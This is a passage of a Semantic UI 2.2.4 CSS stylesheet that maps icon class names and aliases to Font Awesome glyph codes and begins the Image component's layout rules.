i.icon.toggle.left:before {
  content: "\f191";
}

/* Mobile */

i.icon.tablet:before {
  content: "\f10a";
}

i.icon.mobile:before {
  content: "\f10b";
}

i.icon.battery.full:before {
  content: "\f240";
}

i.icon.battery.high:before {
  content: "\f241";
}

i.icon.battery.medium:before {
  content: "\f242";
}

i.icon.battery.low:before {
  content: "\f243";
}

i.icon.battery.empty:before {
  content: "\f244";
}

/* Computer */

i.icon.power:before {
  content: "\f011";
}

i.icon.trash.outline:before {
  content: "\f014";
}

i.icon.disk.outline:before {
  content: "\f0a0";
}

i.icon.desktop:before {
  content: "\f108";
}

i.icon.laptop:before {
  content: "\f109";
}

i.icon.game:before {
  content: "\f11b";
}

i.icon.keyboard:before {
  content: "\f11c";
}

i.icon.plug:before {
  content: "\f1e6";
}

/* File System */

i.icon.trash:before {
  content: "\f1f8";
}

i.icon.file.outline:before {
  content: "\f016";
}

i.icon.folder:before {
  content: "\f07b";
}

i.icon.folder.open:before {
  content: "\f07c";
}

i.icon.file.text.outline:before {
  content: "\f0f6";
}

i.icon.folder.outline:before {
  content: "\f114";
}

i.icon.folder.open.outline:before {
  content: "\f115";
}

i.icon.level.up:before {
  content: "\f148";
}

i.icon.level.down:before {
  content: "\f149";
}

i.icon.file:before {
  content: "\f15b";
}

i.icon.file.text:before {
  content: "\f15c";
}

i.icon.file.pdf.outline:before {
  content: "\f1c1";
}

i.icon.file.word.outline:before {
  content: "\f1c2";
}

i.icon.file.excel.outline:before {
  content: "\f1c3";
}

i.icon.file.powerpoint.outline:before {
  content: "\f1c4";
}

i.icon.file.image.outline:before {
  content: "\f1c5";
}

i.icon.file.archive.outline:before {
  content: "\f1c6";
}

i.icon.file.audio.outline:before {
  content: "\f1c7";
}

i.icon.file.video.outline:before {
  content: "\f1c8";
}

i.icon.file.code.outline:before {
  content: "\f1c9";
}

/* Technologies */

i.icon.qrcode:before {
  content: "\f029";
}

i.icon.barcode:before {
  content: "\f02a";
}

i.icon.rss:before {
  content: "\f09e";
}

i.icon.fork:before {
  content: "\f126";
}

i.icon.html5:before {
  content: "\f13b";
}

i.icon.css3:before {
  content: "\f13c";
}

i.icon.rss.square:before {
  content: "\f143";
}

i.icon.openid:before {
  content: "\f19b";
}

i.icon.database:before {
  content: "\f1c0";
}

i.icon.server:before {
  content: "\f233";
}

i.icon.usb:before {
  content: "\f287";
}

i.icon.bluetooth:before {
  content: "\f293";
}

i.icon.bluetooth.alternative:before {
  content: "\f294";
}

/* Rating */

i.icon.heart:before {
  content: "\f004";
}

i.icon.star:before {
  content: "\f005";
}

i.icon.empty.star:before {
  content: "\f006";
}

i.icon.thumbs.outline.up:before {
  content: "\f087";
}

i.icon.thumbs.outline.down:before {
  content: "\f088";
}

i.icon.star.half:before {
  content: "\f089";
}

i.icon.empty.heart:before {
  content: "\f08a";
}

i.icon.smile:before {
  content: "\f118";
}

i.icon.frown:before {
  content: "\f119";
}

i.icon.meh:before {
  content: "\f11a";
}

i.icon.star.half.empty:before {
  content: "\f123";
}

i.icon.thumbs.up:before {
  content: "\f164";
}

i.icon.thumbs.down:before {
  content: "\f165";
}

/* Audio */

i.icon.music:before {
  content: "\f001";
}

i.icon.video.play.outline:before {
  content: "\f01d";
}

i.icon.volume.off:before {
  content: "\f026";
}

i.icon.volume.down:before {
  content: "\f027";
}

i.icon.volume.up:before {
  content: "\f028";
}

i.icon.record:before {
  content: "\f03d";
}

i.icon.step.backward:before {
  content: "\f048";
}

i.icon.fast.backward:before {
  content: "\f049";
}

i.icon.backward:before {
  content: "\f04a";
}

i.icon.play:before {
  content: "\f04b";
}

i.icon.pause:before {
  content: "\f04c";
}

i.icon.stop:before {
  content: "\f04d";
}

i.icon.forward:before {
  content: "\f04e";
}

i.icon.fast.forward:before {
  content: "\f050";
}

i.icon.step.forward:before {
  content: "\f051";
}

i.icon.eject:before {
  content: "\f052";
}

i.icon.unmute:before {
  content: "\f130";
}

i.icon.mute:before {
  content: "\f131";
}

i.icon.video.play:before {
  content: "\f144";
}

i.icon.closed.captioning:before {
  content: "\f20a";
}

i.icon.pause.circle:before {
  content: "\f28b";
}

i.icon.pause.circle.outline:before {
  content: "\f28c";
}

i.icon.stop.circle:before {
  content: "\f28d";
}

i.icon.stop.circle.outline:before {
  content: "\f28e";
}

/* Map, Locations, & Transportation */

i.icon.marker:before {
  content: "\f041";
}

i.icon.coffee:before {
  content: "\f0f4";
}

i.icon.food:before {
  content: "\f0f5";
}

i.icon.building.outline:before {
  content: "\f0f7";
}

i.icon.hospital:before {
  content: "\f0f8";
}

i.icon.emergency:before {
  content: "\f0f9";
}

i.icon.first.aid:before {
  content: "\f0fa";
}

i.icon.military:before {
  content: "\f0fb";
}

i.icon.h:before {
  content: "\f0fd";
}

i.icon.location.arrow:before {
  content: "\f124";
}

i.icon.compass:before {
  content: "\f14e";
}

i.icon.space.shuttle:before {
  content: "\f197";
}

i.icon.university:before {
  content: "\f19c";
}

i.icon.building:before {
  content: "\f1ad";
}

i.icon.paw:before {
  content: "\f1b0";
}

i.icon.spoon:before {
  content: "\f1b1";
}

i.icon.car:before {
  content: "\f1b9";
}

i.icon.taxi:before {
  content: "\f1ba";
}

i.icon.tree:before {
  content: "\f1bb";
}

i.icon.bicycle:before {
  content: "\f206";
}

i.icon.bus:before {
  content: "\f207";
}

i.icon.ship:before {
  content: "\f21a";
}

i.icon.motorcycle:before {
  content: "\f21c";
}

i.icon.street.view:before {
  content: "\f21d";
}

i.icon.hotel:before {
  content: "\f236";
}

i.icon.train:before {
  content: "\f238";
}

i.icon.subway:before {
  content: "\f239";
}

i.icon.map.pin:before {
  content: "\f276";
}

i.icon.map.signs:before {
  content: "\f277";
}

i.icon.map.outline:before {
  content: "\f278";
}

i.icon.map:before {
  content: "\f279";
}

/* Tables */

i.icon.table:before {
  content: "\f0ce";
}

i.icon.columns:before {
  content: "\f0db";
}

i.icon.sort:before {
  content: "\f0dc";
}

i.icon.sort.descending:before {
  content: "\f0dd";
}

i.icon.sort.ascending:before {
  content: "\f0de";
}

i.icon.sort.alphabet.ascending:before {
  content: "\f15d";
}

i.icon.sort.alphabet.descending:before {
  content: "\f15e";
}

i.icon.sort.content.ascending:before {
  content: "\f160";
}

i.icon.sort.content.descending:before {
  content: "\f161";
}

i.icon.sort.numeric.ascending:before {
  content: "\f162";
}

i.icon.sort.numeric.descending:before {
  content: "\f163";
}

/* Text Editor */

i.icon.font:before {
  content: "\f031";
}

i.icon.bold:before {
  content: "\f032";
}

i.icon.italic:before {
  content: "\f033";
}

i.icon.text.height:before {
  content: "\f034";
}

i.icon.text.width:before {
  content: "\f035";
}

i.icon.align.left:before {
  content: "\f036";
}

i.icon.align.center:before {
  content: "\f037";
}

i.icon.align.right:before {
  content: "\f038";
}

i.icon.align.justify:before {
  content: "\f039";
}

i.icon.list:before {
  content: "\f03a";
}

i.icon.outdent:before {
  content: "\f03b";
}

i.icon.indent:before {
  content: "\f03c";
}

i.icon.linkify:before {
  content: "\f0c1";
}

i.icon.cut:before {
  content: "\f0c4";
}

i.icon.copy:before {
  content: "\f0c5";
}

i.icon.attach:before {
  content: "\f0c6";
}

i.icon.save:before {
  content: "\f0c7";
}

i.icon.content:before {
  content: "\f0c9";
}

i.icon.unordered.list:before {
  content: "\f0ca";
}

i.icon.ordered.list:before {
  content: "\f0cb";
}

i.icon.strikethrough:before {
  content: "\f0cc";
}

i.icon.underline:before {
  content: "\f0cd";
}

i.icon.paste:before {
  content: "\f0ea";
}

i.icon.unlinkify:before {
  content: "\f127";
}

i.icon.superscript:before {
  content: "\f12b";
}

i.icon.subscript:before {
  content: "\f12c";
}

i.icon.header:before {
  content: "\f1dc";
}

i.icon.paragraph:before {
  content: "\f1dd";
}

i.icon.text.cursor:before {
  content: "\f246";
}

/* Currency */

i.icon.euro:before {
  content: "\f153";
}

i.icon.pound:before {
  content: "\f154";
}

i.icon.dollar:before {
  content: "\f155";
}

i.icon.rupee:before {
  content: "\f156";
}

i.icon.yen:before {
  content: "\f157";
}

i.icon.ruble:before {
  content: "\f158";
}

i.icon.won:before {
  content: "\f159";
}

i.icon.bitcoin:before {
  content: "\f15a";
}

i.icon.lira:before {
  content: "\f195";
}

i.icon.shekel:before {
  content: "\f20b";
}

/* Payment Options */

i.icon.paypal:before {
  content: "\f1ed";
}

i.icon.google.wallet:before {
  content: "\f1ee";
}

i.icon.visa:before {
  content: "\f1f0";
}

i.icon.mastercard:before {
  content: "\f1f1";
}

i.icon.discover:before {
  content: "\f1f2";
}

i.icon.american.express:before {
  content: "\f1f3";
}

i.icon.paypal.card:before {
  content: "\f1f4";
}

i.icon.stripe:before {
  content: "\f1f5";
}

i.icon.japan.credit.bureau:before {
  content: "\f24b";
}

i.icon.diners.club:before {
  content: "\f24c";
}

i.icon.credit.card.alternative:before {
  content: "\f283";
}

/* Networks and Websites*/

i.icon.twitter.square:before {
  content: "\f081";
}

i.icon.facebook.square:before {
  content: "\f082";
}

i.icon.linkedin.square:before {
  content: "\f08c";
}

i.icon.github.square:before {
  content: "\f092";
}

i.icon.twitter:before {
  content: "\f099";
}

i.icon.facebook.f:before {
  content: "\f09a";
}

i.icon.github:before {
  content: "\f09b";
}

i.icon.pinterest:before {
  content: "\f0d2";
}

i.icon.pinterest.square:before {
  content: "\f0d3";
}

i.icon.google.plus.square:before {
  content: "\f0d4";
}

i.icon.google.plus:before {
  content: "\f0d5";
}

i.icon.linkedin:before {
  content: "\f0e1";
}

i.icon.github.alternate:before {
  content: "\f113";
}

i.icon.maxcdn:before {
  content: "\f136";
}

i.icon.youtube.square:before {
  content: "\f166";
}

i.icon.youtube:before {
  content: "\f167";
}

i.icon.xing:before {
  content: "\f168";
}

i.icon.xing.square:before {
  content: "\f169";
}

i.icon.youtube.play:before {
  content: "\f16a";
}

i.icon.dropbox:before {
  content: "\f16b";
}

i.icon.stack.overflow:before {
  content: "\f16c";
}

i.icon.instagram:before {
  content: "\f16d";
}

i.icon.flickr:before {
  content: "\f16e";
}

i.icon.adn:before {
  content: "\f170";
}

i.icon.bitbucket:before {
  content: "\f171";
}

i.icon.bitbucket.square:before {
  content: "\f172";
}

i.icon.tumblr:before {
  content: "\f173";
}

i.icon.tumblr.square:before {
  content: "\f174";
}

i.icon.apple:before {
  content: "\f179";
}

i.icon.windows:before {
  content: "\f17a";
}

i.icon.android:before {
  content: "\f17b";
}

i.icon.linux:before {
  content: "\f17c";
}

i.icon.dribble:before {
  content: "\f17d";
}

i.icon.skype:before {
  content: "\f17e";
}

i.icon.foursquare:before {
  content: "\f180";
}

i.icon.trello:before {
  content: "\f181";
}

i.icon.gittip:before {
  content: "\f184";
}

i.icon.vk:before {
  content: "\f189";
}

i.icon.weibo:before {
  content: "\f18a";
}

i.icon.renren:before {
  content: "\f18b";
}

i.icon.pagelines:before {
  content: "\f18c";
}

i.icon.stack.exchange:before {
  content: "\f18d";
}

i.icon.vimeo.square:before {
  content: "\f194";
}

i.icon.slack:before {
  content: "\f198";
}

i.icon.wordpress:before {
  content: "\f19a";
}

i.icon.yahoo:before {
  content: "\f19e";
}

i.icon.google:before {
  content: "\f1a0";
}

i.icon.reddit:before {
  content: "\f1a1";
}

i.icon.reddit.square:before {
  content: "\f1a2";
}

i.icon.stumbleupon.circle:before {
  content: "\f1a3";
}

i.icon.stumbleupon:before {
  content: "\f1a4";
}

i.icon.delicious:before {
  content: "\f1a5";
}

i.icon.digg:before {
  content: "\f1a6";
}

i.icon.pied.piper:before {
  content: "\f1a7";
}

i.icon.pied.piper.alternate:before {
  content: "\f1a8";
}

i.icon.drupal:before {
  content: "\f1a9";
}

i.icon.joomla:before {
  content: "\f1aa";
}

i.icon.behance:before {
  content: "\f1b4";
}

i.icon.behance.square:before {
  content: "\f1b5";
}

i.icon.steam:before {
  content: "\f1b6";
}

i.icon.steam.square:before {
  content: "\f1b7";
}

i.icon.spotify:before {
  content: "\f1bc";
}

i.icon.deviantart:before {
  content: "\f1bd";
}

i.icon.soundcloud:before {
  content: "\f1be";
}

i.icon.vine:before {
  content: "\f1ca";
}

i.icon.codepen:before {
  content: "\f1cb";
}

i.icon.jsfiddle:before {
  content: "\f1cc";
}

i.icon.rebel:before {
  content: "\f1d0";
}

i.icon.empire:before {
  content: "\f1d1";
}

i.icon.git.square:before {
  content: "\f1d2";
}

i.icon.git:before {
  content: "\f1d3";
}

i.icon.hacker.news:before {
  content: "\f1d4";
}

i.icon.tencent.weibo:before {
  content: "\f1d5";
}

i.icon.qq:before {
  content: "\f1d6";
}

i.icon.wechat:before {
  content: "\f1d7";
}

i.icon.slideshare:before {
  content: "\f1e7";
}

i.icon.twitch:before {
  content: "\f1e8";
}

i.icon.yelp:before {
  content: "\f1e9";
}

i.icon.lastfm:before {
  content: "\f202";
}

i.icon.lastfm.square:before {
  content: "\f203";
}

i.icon.ioxhost:before {
  content: "\f208";
}

i.icon.angellist:before {
  content: "\f209";
}

i.icon.meanpath:before {
  content: "\f20c";
}

i.icon.buysellads:before {
  content: "\f20d";
}

i.icon.connectdevelop:before {
  content: "\f20e";
}

i.icon.dashcube:before {
  content: "\f210";
}

i.icon.forumbee:before {
  content: "\f211";
}

i.icon.leanpub:before {
  content: "\f212";
}

i.icon.sellsy:before {
  content: "\f213";
}

i.icon.shirtsinbulk:before {
  content: "\f214";
}

i.icon.simplybuilt:before {
  content: "\f215";
}

i.icon.skyatlas:before {
  content: "\f216";
}

i.icon.facebook:before {
  content: "\f230";
}

i.icon.pinterest:before {
  content: "\f231";
}

i.icon.whatsapp:before {
  content: "\f232";
}

i.icon.viacoin:before {
  content: "\f237";
}

i.icon.medium:before {
  content: "\f23a";
}

i.icon.y.combinator:before {
  content: "\f23b";
}

i.icon.optinmonster:before {
  content: "\f23c";
}

i.icon.opencart:before {
  content: "\f23d";
}

i.icon.expeditedssl:before {
  content: "\f23e";
}

i.icon.gg:before {
  content: "\f260";
}

i.icon.gg.circle:before {
  content: "\f261";
}

i.icon.tripadvisor:before {
  content: "\f262";
}

i.icon.odnoklassniki:before {
  content: "\f263";
}

i.icon.odnoklassniki.square:before {
  content: "\f264";
}

i.icon.pocket:before {
  content: "\f265";
}

i.icon.wikipedia:before {
  content: "\f266";
}

i.icon.safari:before {
  content: "\f267";
}

i.icon.chrome:before {
  content: "\f268";
}

i.icon.firefox:before {
  content: "\f269";
}

i.icon.opera:before {
  content: "\f26a";
}

i.icon.internet.explorer:before {
  content: "\f26b";
}

i.icon.contao:before {
  content: "\f26d";
}

i.icon.\35 00px:before {
  content: "\f26e";
}

i.icon.amazon:before {
  content: "\f270";
}

i.icon.houzz:before {
  content: "\f27c";
}

i.icon.vimeo:before {
  content: "\f27d";
}

i.icon.black.tie:before {
  content: "\f27e";
}

i.icon.fonticons:before {
  content: "\f280";
}

i.icon.reddit.alien:before {
  content: "\f281";
}

i.icon.microsoft.edge:before {
  content: "\f282";
}

i.icon.codiepie:before {
  content: "\f284";
}

i.icon.modx:before {
  content: "\f285";
}

i.icon.fort.awesome:before {
  content: "\f286";
}

i.icon.product.hunt:before {
  content: "\f288";
}

i.icon.mixcloud:before {
  content: "\f289";
}

i.icon.scribd:before {
  content: "\f28a";
}

i.icon.gitlab:before {
  content: "\f296";
}

i.icon.wpbeginner:before {
  content: "\f297";
}

i.icon.wpforms:before {
  content: "\f298";
}

i.icon.envira.gallery:before {
  content: "\f299";
}

i.icon.glide:before {
  content: "\f2a5";
}

i.icon.glide.g:before {
  content: "\f2a6";
}

i.icon.viadeo:before {
  content: "\f2a9";
}

i.icon.viadeo.square:before {
  content: "\f2aa";
}

i.icon.snapchat:before {
  content: "\f2ab";
}

i.icon.snapchat.ghost:before {
  content: "\f2ac";
}

i.icon.snapchat.square:before {
  content: "\f2ad";
}

i.icon.pied.piper.hat:before {
  content: "\f2ae";
}

i.icon.first.order:before {
  content: "\f2b0";
}

i.icon.yoast:before {
  content: "\f2b1";
}

i.icon.themeisle:before {
  content: "\f2b2";
}

i.icon.google.plus.circle:before {
  content: "\f2b3";
}

i.icon.font.awesome:before {
  content: "\f2b4";
}

/*******************************
            Aliases
*******************************/

i.icon.like:before {
  content: "\f004";
}

i.icon.favorite:before {
  content: "\f005";
}

i.icon.video:before {
  content: "\f008";
}

i.icon.check:before {
  content: "\f00c";
}

i.icon.close:before {
  content: "\f00d";
}

i.icon.cancel:before {
  content: "\f00d";
}

i.icon.delete:before {
  content: "\f00d";
}

i.icon.x:before {
  content: "\f00d";
}

i.icon.zoom.in:before {
  content: "\f00e";
}

i.icon.magnify:before {
  content: "\f00e";
}

i.icon.shutdown:before {
  content: "\f011";
}

i.icon.clock:before {
  content: "\f017";
}

i.icon.time:before {
  content: "\f017";
}

i.icon.play.circle.outline:before {
  content: "\f01d";
}

i.icon.headphone:before {
  content: "\f025";
}

i.icon.camera:before {
  content: "\f030";
}

i.icon.video.camera:before {
  content: "\f03d";
}

i.icon.picture:before {
  content: "\f03e";
}

i.icon.pencil:before {
  content: "\f040";
}

i.icon.compose:before {
  content: "\f040";
}

i.icon.point:before {
  content: "\f041";
}

i.icon.tint:before {
  content: "\f043";
}

i.icon.signup:before {
  content: "\f044";
}

i.icon.plus.circle:before {
  content: "\f055";
}

i.icon.question.circle:before {
  content: "\f059";
}

i.icon.dont:before {
  content: "\f05e";
}

i.icon.minimize:before {
  content: "\f066";
}

i.icon.add:before {
  content: "\f067";
}

i.icon.exclamation.circle:before {
  content: "\f06a";
}

i.icon.attention:before {
  content: "\f06a";
}

i.icon.eye:before {
  content: "\f06e";
}

i.icon.exclamation.triangle:before {
  content: "\f071";
}

i.icon.shuffle:before {
  content: "\f074";
}

i.icon.chat:before {
  content: "\f075";
}

i.icon.cart:before {
  content: "\f07a";
}

i.icon.shopping.cart:before {
  content: "\f07a";
}

i.icon.bar.graph:before {
  content: "\f080";
}

i.icon.key:before {
  content: "\f084";
}

i.icon.cogs:before {
  content: "\f085";
}

i.icon.discussions:before {
  content: "\f086";
}

i.icon.like.outline:before {
  content: "\f087";
}

i.icon.dislike.outline:before {
  content: "\f088";
}

i.icon.heart.outline:before {
  content: "\f08a";
}

i.icon.log.out:before {
  content: "\f08b";
}

i.icon.thumb.tack:before {
  content: "\f08d";
}

i.icon.winner:before {
  content: "\f091";
}

i.icon.phone:before {
  content: "\f095";
}

i.icon.bookmark.outline:before {
  content: "\f097";
}

i.icon.phone.square:before {
  content: "\f098";
}

i.icon.credit.card:before {
  content: "\f09d";
}

i.icon.hdd.outline:before {
  content: "\f0a0";
}

i.icon.bullhorn:before {
  content: "\f0a1";
}

i.icon.bell.outline:before {
  content: "\f0a2";
}

i.icon.hand.outline.right:before {
  content: "\f0a4";
}

i.icon.hand.outline.left:before {
  content: "\f0a5";
}

i.icon.hand.outline.up:before {
  content: "\f0a6";
}

i.icon.hand.outline.down:before {
  content: "\f0a7";
}

i.icon.globe:before {
  content: "\f0ac";
}

i.icon.wrench:before {
  content: "\f0ad";
}

i.icon.briefcase:before {
  content: "\f0b1";
}

i.icon.group:before {
  content: "\f0c0";
}

i.icon.linkify:before {
  content: "\f0c1";
}

i.icon.chain:before {
  content: "\f0c1";
}

i.icon.flask:before {
  content: "\f0c3";
}

i.icon.sidebar:before {
  content: "\f0c9";
}

i.icon.bars:before {
  content: "\f0c9";
}

i.icon.list.ul:before {
  content: "\f0ca";
}

i.icon.list.ol:before {
  content: "\f0cb";
}

i.icon.numbered.list:before {
  content: "\f0cb";
}

i.icon.magic:before {
  content: "\f0d0";
}

i.icon.truck:before {
  content: "\f0d1";
}

i.icon.currency:before {
  content: "\f0d6";
}

i.icon.triangle.down:before {
  content: "\f0d7";
}

i.icon.dropdown:before {
  content: "\f0d7";
}

i.icon.triangle.up:before {
  content: "\f0d8";
}

i.icon.triangle.left:before {
  content: "\f0d9";
}

i.icon.triangle.right:before {
  content: "\f0da";
}

i.icon.envelope:before {
  content: "\f0e0";
}

i.icon.conversation:before {
  content: "\f0e6";
}

i.icon.rain:before {
  content: "\f0e9";
}

i.icon.clipboard:before {
  content: "\f0ea";
}

i.icon.lightbulb:before {
  content: "\f0eb";
}

i.icon.bell:before {
  content: "\f0f3";
}

i.icon.ambulance:before {
  content: "\f0f9";
}

i.icon.medkit:before {
  content: "\f0fa";
}

i.icon.fighter.jet:before {
  content: "\f0fb";
}

i.icon.beer:before {
  content: "\f0fc";
}

i.icon.plus.square:before {
  content: "\f0fe";
}

i.icon.computer:before {
  content: "\f108";
}

i.icon.circle.outline:before {
  content: "\f10c";
}

i.icon.gamepad:before {
  content: "\f11b";
}

i.icon.star.half.full:before {
  content: "\f123";
}

i.icon.broken.chain:before {
  content: "\f127";
}

i.icon.question:before {
  content: "\f128";
}

i.icon.exclamation:before {
  content: "\f12a";
}

i.icon.eraser:before {
  content: "\f12d";
}

i.icon.microphone:before {
  content: "\f130";
}

i.icon.microphone.slash:before {
  content: "\f131";
}

i.icon.shield:before {
  content: "\f132";
}

i.icon.target:before {
  content: "\f140";
}

i.icon.play.circle:before {
  content: "\f144";
}

i.icon.pencil.square:before {
  content: "\f14b";
}

i.icon.eur:before {
  content: "\f153";
}

i.icon.gbp:before {
  content: "\f154";
}

i.icon.usd:before {
  content: "\f155";
}

i.icon.inr:before {
  content: "\f156";
}

i.icon.cny:before {
  content: "\f157";
}

i.icon.rmb:before {
  content: "\f157";
}

i.icon.jpy:before {
  content: "\f157";
}

i.icon.rouble:before {
  content: "\f158";
}

i.icon.rub:before {
  content: "\f158";
}

i.icon.krw:before {
  content: "\f159";
}

i.icon.btc:before {
  content: "\f15a";
}

i.icon.gratipay:before {
  content: "\f184";
}

i.icon.zip:before {
  content: "\f187";
}

i.icon.dot.circle.outline:before {
  content: "\f192";
}

i.icon.try:before {
  content: "\f195";
}

i.icon.graduation:before {
  content: "\f19d";
}

i.icon.circle.outline:before {
  content: "\f1db";
}

i.icon.sliders:before {
  content: "\f1de";
}

i.icon.weixin:before {
  content: "\f1d7";
}

i.icon.tty:before {
  content: "\f1e4";
}

i.icon.teletype:before {
  content: "\f1e4";
}

i.icon.binoculars:before {
  content: "\f1e5";
}

i.icon.power.cord:before {
  content: "\f1e6";
}

i.icon.wi-fi:before {
  content: "\f1eb";
}

i.icon.visa.card:before {
  content: "\f1f0";
}

i.icon.mastercard.card:before {
  content: "\f1f1";
}

i.icon.discover.card:before {
  content: "\f1f2";
}

i.icon.amex:before {
  content: "\f1f3";
}

i.icon.american.express.card:before {
  content: "\f1f3";
}

i.icon.stripe.card:before {
  content: "\f1f5";
}

i.icon.bell.slash:before {
  content: "\f1f6";
}

i.icon.bell.slash.outline:before {
  content: "\f1f7";
}

i.icon.area.graph:before {
  content: "\f1fe";
}

i.icon.pie.graph:before {
  content: "\f200";
}

i.icon.line.graph:before {
  content: "\f201";
}

i.icon.cc:before {
  content: "\f20a";
}

i.icon.sheqel:before {
  content: "\f20b";
}

i.icon.ils:before {
  content: "\f20b";
}

i.icon.plus.cart:before {
  content: "\f217";
}

i.icon.arrow.down.cart:before {
  content: "\f218";
}

i.icon.detective:before {
  content: "\f21b";
}

i.icon.venus:before {
  content: "\f221";
}

i.icon.mars:before {
  content: "\f222";
}

i.icon.mercury:before {
  content: "\f223";
}

i.icon.intersex:before {
  content: "\f224";
}

i.icon.venus.double:before {
  content: "\f226";
}

i.icon.female.homosexual:before {
  content: "\f226";
}

i.icon.mars.double:before {
  content: "\f227";
}

i.icon.male.homosexual:before {
  content: "\f227";
}

i.icon.venus.mars:before {
  content: "\f228";
}

i.icon.mars.stroke:before {
  content: "\f229";
}

i.icon.mars.alternate:before {
  content: "\f229";
}

i.icon.mars.vertical:before {
  content: "\f22a";
}

i.icon.mars.stroke.vertical:before {
  content: "\f22a";
}

i.icon.mars.horizontal:before {
  content: "\f22b";
}

i.icon.mars.stroke.horizontal:before {
  content: "\f22b";
}

i.icon.asexual:before {
  content: "\f22d";
}

i.icon.facebook.official:before {
  content: "\f230";
}

i.icon.user.plus:before {
  content: "\f234";
}

i.icon.user.times:before {
  content: "\f235";
}

i.icon.user.close:before {
  content: "\f235";
}

i.icon.user.cancel:before {
  content: "\f235";
}

i.icon.user.delete:before {
  content: "\f235";
}

i.icon.user.x:before {
  content: "\f235";
}

i.icon.bed:before {
  content: "\f236";
}

i.icon.yc:before {
  content: "\f23b";
}

i.icon.ycombinator:before {
  content: "\f23b";
}

i.icon.battery.four:before {
  content: "\f240";
}

i.icon.battery.three:before {
  content: "\f241";
}

i.icon.battery.three.quarters:before {
  content: "\f241";
}

i.icon.battery.two:before {
  content: "\f242";
}

i.icon.battery.half:before {
  content: "\f242";
}

i.icon.battery.one:before {
  content: "\f243";
}

i.icon.battery.quarter:before {
  content: "\f243";
}

i.icon.battery.zero:before {
  content: "\f244";
}

i.icon.i.cursor:before {
  content: "\f246";
}

i.icon.jcb:before {
  content: "\f24b";
}

i.icon.japan.credit.bureau.card:before {
  content: "\f24b";
}

i.icon.diners.club.card:before {
  content: "\f24c";
}

i.icon.balance:before {
  content: "\f24e";
}

i.icon.hourglass.outline:before {
  content: "\f250";
}

i.icon.hourglass.zero:before {
  content: "\f250";
}

i.icon.hourglass.one:before {
  content: "\f251";
}

i.icon.hourglass.two:before {
  content: "\f252";
}

i.icon.hourglass.three:before {
  content: "\f253";
}

i.icon.hourglass.four:before {
  content: "\f254";
}

i.icon.grab:before {
  content: "\f255";
}

i.icon.hand.victory:before {
  content: "\f25b";
}

i.icon.tm:before {
  content: "\f25c";
}

i.icon.r.circle:before {
  content: "\f25d";
}

i.icon.television:before {
  content: "\f26c";
}

i.icon.five.hundred.pixels:before {
  content: "\f26e";
}

i.icon.calendar.plus:before {
  content: "\f271";
}

i.icon.calendar.minus:before {
  content: "\f272";
}

i.icon.calendar.times:before {
  content: "\f273";
}

i.icon.calendar.check:before {
  content: "\f274";
}

i.icon.factory:before {
  content: "\f275";
}

i.icon.commenting:before {
  content: "\f27a";
}

i.icon.commenting.outline:before {
  content: "\f27b";
}

i.icon.edge:before {
  content: "\f282";
}

i.icon.ms.edge:before {
  content: "\f282";
}

i.icon.wordpress.beginner:before {
  content: "\f297";
}

i.icon.wordpress.forms:before {
  content: "\f298";
}

i.icon.envira:before {
  content: "\f299";
}

i.icon.question.circle.outline:before {
  content: "\f29c";
}

i.icon.assistive.listening.devices:before {
  content: "\f2a2";
}

i.icon.als:before {
  content: "\f2a2";
}

i.icon.ald:before {
  content: "\f2a2";
}

i.icon.asl.interpreting:before {
  content: "\f2a3";
}

i.icon.deaf:before {
  content: "\f2a4";
}

i.icon.american.sign.language.interpreting:before {
  content: "\f2a3";
}

i.icon.hard.of.hearing:before {
  content: "\f2a4";
}

i.icon.signing:before {
  content: "\f2a7";
}

i.icon.new.pied.piper:before {
  content: "\f2ae";
}

i.icon.theme.isle:before {
  content: "\f2b2";
}

i.icon.google.plus.official:before {
  content: "\f2b3";
}

i.icon.fa:before {
  content: "\f2b4";
}

/*******************************
         Site Overrides
*******************************/
/*!
 * # Semantic UI 2.2.4 - Image
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
             Image
*******************************/

.ui.image {
  position: relative;
  display: inline-block;
  vertical-align: middle;
  max-width: 100%;
  background-color: transparent;
}

img.ui.image {
  display: block;
}

.ui.image svg,
.ui.image img {
  display: block;
  max-width: 100%;
  height: auto;
}

/*******************************
            States
*******************************/

.ui.hidden.images,
.ui.hidden.image {
  display: none;
}

.ui.hidden.transition.images,
.ui.hidden.transition.image {
  display: block;
  visibility: hidden;
}

.ui.disabled.images,
.ui.disabled.image {
  cursor: default;
  opacity: 0.45;
}

/*******************************
          Variations
*******************************/

/*--------------
     Inline
---------------*/

.ui.inline.image,
.ui.inline.image svg,
.ui.inline.image img {
  display: inline-block;
}

/*------------------
  Vertical Aligned
-------------------*/

.ui.top.aligned.images .image,
.ui.top.aligned.image,
.ui.top.aligned.image svg,
.ui.top.aligned.image img {
  display: inline-block;
  vertical-align: top;
}

.ui.middle.aligned.images .image,
.ui.middle.aligned.image,
.ui.middle.aligned.image svg,
.ui.middle.aligned.image img {
  display: inline-block;
  vertical-align: middle;
}

.ui.bottom.aligned.images .image,
.ui.bottom.aligned.image,
.ui.bottom.aligned.image svg,
.ui.bottom.aligned.image img {
  display: inline-block;
  vertical-align: bottom;
}

/*--------------
     Rounded
---------------*/

.ui.rounded.images .image,
.ui.rounded.image,
.ui.rounded.images .image > *,
.ui.rounded.image > * {
  border-radius: 0.3125em;
}

/*--------------
    Bordered
---------------*/

.ui.bordered.images .image,
.ui.bordered.images img,
.ui.bordered.images svg,
.ui.bordered.image img,
.ui.bordered.image svg,
img.ui.bordered.image {
  border: 1px solid rgba(0, 0, 0, 0.1);
}

/*--------------
    Circular
---------------*/

.ui.circular.images,
.ui.circular.image {
  overflow: hidden;
}

.ui.circular.images .image,
.ui.circular.image,
.ui.circular.images .image > *,
.ui.circular.image > * {
  border-radius: 500rem;
}

/*--------------
     Fluid
---------------*/

.ui.fluid.images,
.ui.fluid.image,
.ui.fluid.images img,
.ui.fluid.images svg,
.ui.fluid.image svg,
.ui.fluid.image img {
  display: block;
  width: 100%;
  height: auto;
}

/*--------------
     Avatar
---------------*/

.ui.avatar.images .image,
.ui.avatar.images img,
.ui.avatar.images svg,
.ui.avatar.image img,
.ui.avatar.image svg,
.ui.avatar.image {
  margin-right: 0.25em;
  display: inline-block;
  width: 2em;
  height: 2em;
  border-radius: 500rem;
}

/*-------------------
       Spaced
--------------------*/

.ui.spaced.image {
  display: inline-block !important;
  margin-left: 0.5em;
  margin-right: 0.5em;
}

.ui[class*="left spaced"].image {
  margin-left: 0.5em;
  margin-right: 0em;
}

.ui[class*="right spaced"].image {
  margin-left: 0em;
